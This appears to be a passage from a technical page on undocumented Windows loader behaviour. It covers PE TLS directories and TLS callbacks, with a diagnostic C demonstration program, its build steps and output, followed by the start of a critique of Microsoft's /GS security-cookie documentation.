Statically declared TLS data objects can be used only in statically loaded image files. This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function.

Executable code accesses a static TLS data object through the following steps:

  1. At link time, the linker sets the Address of Index field of the TLS directory. This field points to a location where the program expects to receive the TLS index.

    The Microsoft run-time library facilitates this process by defining a memory image of the TLS directory and giving it the special name "__tls_used" (Intel x86 platforms) or "_tls_used" (other platforms). The linker looks for this memory image and uses the data there to create the TLS directory. Other compilers that support TLS and work with the Microsoft linker must use this same technique.

  2. When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the FS register. A pointer to the TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86-specific.

  3. The loader assigns the value of the TLS index to the place that was indicated by the Address of Index field.

  4. The executable code retrieves the TLS index and also the location of the TLS array.

  5. The code uses the TLS index and the TLS array location (multiplying the index by 4 and using it as an offset to the array) to get the address of the TLS data area for the given program and module. Each thread has its own TLS data area, but this is transparent to the program, which does not need to know how data is allocated for individual threads.

  6. An individual TLS data object is accessed as some fixed offset into the TLS data area.

[…]

The TLS directory has the following format:

Offset (PE32/PE32+) Size (PE32/PE32+) Field Description
0 4/8 Raw Data Start VA The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section.
4/8 4/8 Raw Data End VA The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA.
8/16 4/8 Address of Index The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program.
12/24 4/8 Address of Callbacks The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see TLS Callback Functions.
16/32 4 Size of Zero Fill The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data.
20/36 4 Characteristics The four bits [23:20] describe alignment info. Possible values are those defined as IMAGE_SCN_ALIGN_*, which are also used to describe alignment of section in object files. The other 28 bits are reserved for future use.
[…]

The program can provide one or more TLS callback functions to […]

The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK) has the same parameters as a DLL entry-point function:

typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
    PVOID DllHandle,
    DWORD Reason,
    PVOID Reserved
    );

The Reserved parameter should be set to zero. The Reason parameter can take the following values:

Setting Value Description
DLL_PROCESS_ATTACH 1 A new process has started, including the first thread.
DLL_THREAD_ATTACH 2 A new thread has been created. This notification sent for all but the first thread.
DLL_THREAD_DETACH 3 A thread is about to be terminated. This notification sent for all but the first thread.
DLL_PROCESS_DETACH 0 A process is about to terminate, including the original thread.
The initial note is but obsolete and wrong: Windows Vista and later versions of Windows NT support static TLS data in dynamically loaded DLLs!

The documentation misses the following part for the x64 alias AMD64 processor architecture (and corresponding parts for other processor architectures as well):

  1. When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the GS register. A pointer to the TLS array is at the offset of 0x58 from the beginning of the TEB. This behavior is Intel x64-specific.

The documentation for the ExitProcess() function but ignores TLS Callback Functions completely:
Use the GetExitCodeProcess function to retrieve the process's exit value. Use the GetExitCodeThread function to retrieve a thread's exit value.

Exiting a process causes the following:

  1. All of the threads in the process, except the calling thread, terminate their execution without receiving a DLL_THREAD_DETACH notification.
  2. The states of all of the threads terminated in step 1 become signaled.
  3. The entry-point functions of all loaded dynamic-link libraries (DLLs) are called with DLL_PROCESS_DETACH.
  4. After all attached DLLs have executed any process termination code, the ExitProcess function terminates the current process, including the calling thread.
  5. The state of the calling thread becomes signaled.
  6. All of the object handles opened by the process are closed.
  7. The termination status of the process changes from STILL_ACTIVE to the exit value of the process.
  8. The state of the process object becomes signaled, satisfying any threads that had been waiting for the process to terminate.
The documentation for the ExitThread() function fails to inform about TLS Callback Functions too:
When this function is called (either explicitly or by returning from a thread procedure), […]
The entry-point function of all attached dynamic-link libraries (DLLs) is invoked with a value indicating that the thread is detaching from the DLL.

[…]

Use the GetExitCodeThread function to retrieve a thread's exit code.

The documentation for the GetExitCodeProcess() function states:
If the process has not terminated and the function succeeds, the status returned is STILL_ACTIVE (a macro for STATUS_PENDING […]
The documentation for the GetExitCodeThread() function states:
If the specified thread has not terminated and the function succeeds, the status returned is STILL_ACTIVE. If the thread has terminated and the function succeeds, the status returned is one of the following values:

Demonstration

Perform the following 4 simple steps to show the (mis)behaviour.
  1. Create the text file quirk23.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szReason[4] = {L"process detach",
    		               L"process attach",
    		               L"thread attach",
    		               L"thread detach"};
    
    __declspec(safebuffers)
    VOID	WINAPI	TLSCallback(HMODULE hModule, DWORD dwReason, LPVOID lpUnused)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule = GetModuleFileName(hModule,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwProcess;
    	DWORD	dwThread;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return;
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    	                       _ReturnAddress(),
    	                       &hCaller))
    		szCaller[0] = L'\0';
    	else
    	{
    		dwCaller = GetModuleFileName(hCaller,
    		                             szCaller,
    		                             sizeof(szCaller) / sizeof(*szCaller));
    
    		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    			szCaller[dwCaller] = L'\0';
    	}
    
    	GetExitCodeThread(GetCurrentThread(), &dwThread);
    	GetExitCodeProcess(GetCurrentProcess(), &dwProcess);
    
    	PrintConsole(hConsole,
    	             L"\n"
    	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    	             L"\tCalled module  @ 0x%p = %ls\n"
    	             L"\tCalling module @ 0x%p = %ls\n"
    	             L"\tReturn address @ 0x%p = 0x%p\n"
    	             L"\tArguments:\n"
    	             L"\t\tModule = 0x%p\n"
    	             L"\t\tReason = %lu (%ls)\n"
    	             L"\t\tUnused = 0x%p\n"
    	             L"\tThread id = %lu\n"
    	             L"\tThread exit code = %ld\n"
    	             L"\tProcess exit code = %ld\n",
    	             TLSCallback,
    	             hModule, szModule,
    	             hCaller, szCaller,
    	             _AddressOfReturnAddress(), _ReturnAddress(),
    	             hModule, dwReason, szReason[dwReason], lpUnused,
    	             dwThreadId,
    	             dwThread,
    	             dwProcess);
    }
    
    DWORD	_tls_index = 'VOID';	// NOTE: assigned by the module loader!
    
    const	PIMAGE_TLS_CALLBACK	_tls_callbacks[] = {TLSCallback, NULL};
    
    // BUG: the module loader does NOT support the 'SizeOfZeroFill' member!
    
    const	IMAGE_TLS_DIRECTORY	_tls_used = {NULL,
    				             NULL,
    				             &_tls_index,
    				             _tls_callbacks,
    				             'VOID',
    				             0};
    
    extern	IMAGE_DOS_HEADER	__ImageBase;
    
    __declspec(safebuffers)
    DWORD	WINAPI	ThreadProc(LPVOID lpParameter)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	HMODULE	hCaller;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole != INVALID_HANDLE_VALUE)
    	{
    		dwModule = GetModuleFileName((HMODULE) &__ImageBase,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule < sizeof(szModule) / sizeof(*szModule))
    			szModule[dwModule] = L'\0';
    
    		if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    		                       _ReturnAddress(),
    		                       &hCaller))
    			szCaller[0] = L'\0';
    		else
    		{
    			dwCaller = GetModuleFileName(hCaller,
    			                             szCaller,
    			                             sizeof(szCaller) / sizeof(*szCaller));
    
    			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    				szCaller[dwCaller] = L'\0';
    		}
    
    		PrintConsole(hConsole,
    		             L"\n"
    		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    		             L"\tCalled module  @ 0x%p = %ls\n"
    		             L"\tCalling module @ 0x%p = %ls\n"
    		             L"\tReturn address @ 0x%p = 0x%p\n"
    		             L"\tParameter = 0x%p\n"
    		             L"\tThread id = %lu\n",
    		             ThreadProc,
    		             &__ImageBase, szModule,
    		             hCaller, szCaller,
    		             _AddressOfReturnAddress(), _ReturnAddress(),
    		             lpParameter,
    		             GetCurrentThreadId());
    	}
    
    	if (lpParameter == NULL)
    		return 'NULL';
    
    	ExitProcess(WaitForSingleObject(GetCurrentThread(), 123));
    }
    
    #ifdef _DLL
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpContext)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule = GetModuleFileName(hModule,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	HANDLE	hThread;
    	HANDLE	hConsole = GetConsoleWindow();
    
    	if (hConsole == NULL)
    		return FALSE;
    
    	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return FALSE;
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    	                       _ReturnAddress(),
    	                       &hCaller))
    		szCaller[0] = L'\0';
    	else
    	{
    		dwCaller = GetModuleFileName(hCaller,
    		                             szCaller,
    		                             sizeof(szCaller) / sizeof(*szCaller));
    
    		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    			szCaller[dwCaller] = L'\0';
    	}
    
    	PrintConsole(hConsole,
    	             L"\n"
    	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    	             L"\tCalled module  @ 0x%p = %ls\n"
    	             L"\tCalling module @ 0x%p = %ls\n"
    	             L"\tReturn address @ 0x%p = 0x%p\n"
    	             L"\tArguments:\n"
    	             L"\t\tModule = 0x%p\n"
    	             L"\t\tReason = %lu (%ls)\n"
    	             L"\t\tContext = 0x%p\n"
    	             L"\tThread id = %lu\n"
    	             L"\tTLS index = %ld\n"
    	             L"\tTLS value = 0x%p\n"
    	             L"\tTLS array @ 0x%p\n"
    	             L"\tTLS block @ 0x%p\n",
    	             _DllMainCRTStartup,
    	             hModule, szModule,
    	             hCaller, szCaller,
    	             _AddressOfReturnAddress(), _ReturnAddress(),
    	             hModule, dwReason, szReason[dwReason], lpContext,
    	             dwThreadId,
    	             _tls_index,
    	             TlsGetValue(_tls_index),
    #ifdef _M_IX86
    	             __readfsdword(44),
    	             ((LPVOID *) __readfsdword(44))[_tls_index]);
    #elif _M_AMD64
    	             __readgsqword(88),
    	             ((LPVOID *) __readgsqword(88))[_tls_index]);
    #else
    #error Only I386 and AMD64 supported!
    #endif
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
    	                       (SIZE_T) 65536,
    	                       ThreadProc,
    	                       NULL,
    	                       0,
    	                       &dwThreadId);
    
    	if (hThread == NULL)
    		PrintConsole(hConsole,
    		             L"CreateThread() returned error %lu\n",
    		             GetLastError());
    	else
    	{
    		PrintConsole(hConsole,
    		             L"\n"
    		             L"Thread %lu created and started\n",
    		             dwThreadId);
    
    		if (!CloseHandle(hThread))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	return TRUE;
    }
    
    __declspec(dllexport)
    const	WCHAR	Quirk23[] = L"Quirk23";
    #else // _DLL
    __declspec(dllimport)
    extern	WCHAR	Quirk23[];
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	DWORD	dwError = ERROR_SUCCESS;
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	DWORD	dwThread;
    	HANDLE	hThread;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwModule = GetModuleFileName((HMODULE) NULL,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule < sizeof(szModule) / sizeof(*szModule))
    			szModule[dwModule] = L'\0';
    
    		if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    		                       _ReturnAddress(),
    		                       &hCaller))
    			szCaller[0] = L'\0';
    		else
    		{
    			dwCaller = GetModuleFileName(hCaller,
    			                             szCaller,
    			                             sizeof(szCaller) / sizeof(*szCaller));
    
    			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    				szCaller[dwCaller] = L'\0';
    		}
    
    		PrintConsole(hConsole,
    		             L"\n"
    		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    		             L"\tCalled module  @ 0x%p = %ls\n"
    		             L"\tCalling module @ 0x%p = %ls\n"
    		             L"\tReturn address @ 0x%p = 0x%p\n"
    		             L"\n"
    		             L"\tThread id = %lu\n"
    		             L"\tTLS index = %ld\n"
    		             L"\tTLS value = 0x%p\n"
    		             L"\tTLS array @ 0x%p\n"
    		             L"\tTLS block @ 0x%p\n",
    		             wmainCRTStartup,
    		             &__ImageBase, szModule,
    		             hCaller, szCaller,
    		             _AddressOfReturnAddress(), _ReturnAddress(),
    		             dwThreadId,
    		             _tls_index,
    		             TlsGetValue(_tls_index),
    #ifdef _M_IX86
    		             __readfsdword(44),
    		             ((LPVOID *) __readfsdword(44))[_tls_index]);
    #elif _M_AMD64
    		             __readgsqword(88),
    		             ((LPVOID *) __readgsqword(88))[_tls_index]);
    #else
    #error Only I386 and AMD64 supported!
    #endif
    		hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
    		                       (SIZE_T) 65536,
    		                       ThreadProc,
    		                       Quirk23,
    		                       0,
    		                       &dwThreadId);
    
    		if (hThread == NULL)
    			PrintConsole(hConsole,
    			             L"CreateThread() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"\n"
    			             L"Thread %lu created and started\n",
    			             dwThreadId);
    
    			if (WaitForSingleObject(hThread, INFINITE) == WAIT_FAILED)
    				PrintConsole(hConsole,
    				             L"WaitForSingleObject() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!GetExitCodeThread(hThread, &dwThread))
    				PrintConsole(hConsole,
    				             L"GetExitCodeThread() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"\n"
    				             L"Thread %lu exited with code %lu\n",
    				             dwThreadId, dwThread);
    
    			if (!CloseHandle(hThread))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             GetLastError());
    		}
    
    		if (WaitForSingleObject(GetCurrentThread(), INFINITE) == WAIT_FAILED)
    			PrintConsole(hConsole,
    			             L"WaitForSingleObject() returned error %lu\n",
    			             dwError = GetLastError());
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    #endif // _DLL
  2. Build the DLL quirk23.dll and its import library quirk23.lib from the source file quirk23.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib
    CL.EXE /LD /MD quirk23.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk23.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk23.c
    quirk23.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *'
    quirk23.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib
    /out:quirk23.dll
    /dll
    /implib:quirk23.lib
    quirk23.obj
       Creating library quirk23.lib and object quirk23.exp
  3. Build the console application quirk23.exe from the source file quirk23.c created in step 1., using the import library quirk23.lib generated in step 2.:

    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk23.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk23.c
    Note: quirk23.exe is a pure Win32 console application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk23.c
    quirk23.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *'
    quirk23.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk23.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk23.exe
    quirk23.obj
  4. Execute the console application quirk23.exe:

    .\quirk23.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F968 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 1 (process attach)
    		Unused = 0x00000000
    	Thread id = 3700
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F9A4 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 1 (process attach)
    		Context = 0x0047FCA8
    	Thread id = 3700
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x007E4CA0
    	TLS block @ 0x007FB5A0
    
    Thread 7816 created and started
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F968 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 1 (process attach)
    		Unused = 0x00000000
    	Thread id = 3700
    	Thread exit code = 259
    	Process exit code = 259
    
    wmainCRTStartup() function @ 0x0023122A
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0047FF10 = 0x7721343D
    
    	Thread id = 3700
    	TLS index = 0
    	TLS value = 0x00000000
    	TLS array @ 0x007E4CA0
    	TLS block @ 0x007E4CD0
    
    Thread 13192 created and started
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F898 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F8D4 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Context = 0x00000000
    	Thread id = 7816
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x00802840
    	TLS block @ 0x00802870
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F898 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F664 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F6A0 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Context = 0x00000000
    	Thread id = 13192
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x008028A8
    	TLS block @ 0x008028E8
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F664 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 259
    
    ThreadProc() function @ 0x74651148
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0217FC68 = 0x7721343D
    	Parameter = 0x00000000
    	Thread id = 7816
    
    ThreadProc() function @ 0x00231148
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0233FA34 = 0x7721343D
    	Parameter = 0x746530F8
    	Thread id = 13192
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB58 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 3 (thread detach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB94 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 3 (thread detach)
    		Context = 0x00000000
    	Thread id = 7816
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x00802840
    	TLS block @ 0x00802870
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB58 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 3 (thread detach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F4E8 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 0 (process detach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 258
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F524 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 0 (process detach)
    		Context = 0x00000001
    	Thread id = 13192
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x008028A8
    	TLS block @ 0x008028E8
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F4E8 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 0 (process detach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 258
    
    0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258)
    Error message text: The wait operation timed out.
    CertUtil: -error command completed successfully.
    Note: the module loader calls the TLS Callback Function TLSCallback() before the entry-point functions of the DLL quirk23.dll and the console application quirk23.exe, and finally also after the latter called ExitProcess()!

    Oops¹: although both StartAddressOfRawData and EndAddressOfRawData members of the _tls_used structure are NULL, i.e. TLS template data is absent, the module loader allocates a TLS block per thread!

    Oops²: contrary to the documentation cited above, the module loader ignores the SizeOfZeroFill member of the _tls_used structure!

    Oops³: contrary to the documentation cited above, the exit code of the not yet terminated process is already set!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 24

The MSDN article /GS (Buffer Security Check) states:
The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.
These statements are but wrong in three points and omit several details:
  1. the code generated by the compiler requires only that the (arbitrary) value of the security cookie does not change between entry and exit of any function which uses it;
  2. the security cookie is (typically) initialised during compile time to a well-known non-zero default value, 0xBB40E64E = 3141592654 = π × 109 for 32-bit object modules and 0x00002B992DDFA232 = π × 1018 ÷ 216 for 64-bit object modules;
  3. the module loader assigns a (pseudo-)random value to the security cookie of 32-bit DLLs since Windows XP SP2 if it has this default value;
  4. the module loader assigns a (pseudo-)random value to the security cookie of 32-bit applications since Windows 10 if it has this default value;
  5. the module loader assigns a (pseudo-)random value to the security cookie of 64-bit applications as well as DLLs since Windows 10 if it has this default value and the size of the _load_config_used structure matches the size of the IMAGE_LOAD_CONFIG_DIRECTORY structure in the eleventh entry of the IMAGE_DATA_DIRECTORY array in the IMAGE_OPTIONAL_HEADER structure;
  6. the __security_init_cookie() function provided in the MSVCRT libraries (re)initialises the security cookie only if it has this default value or is 0;
  7. there is absolutely no need to call the __security_init_cookie() function to (re)initialise the security cookie;
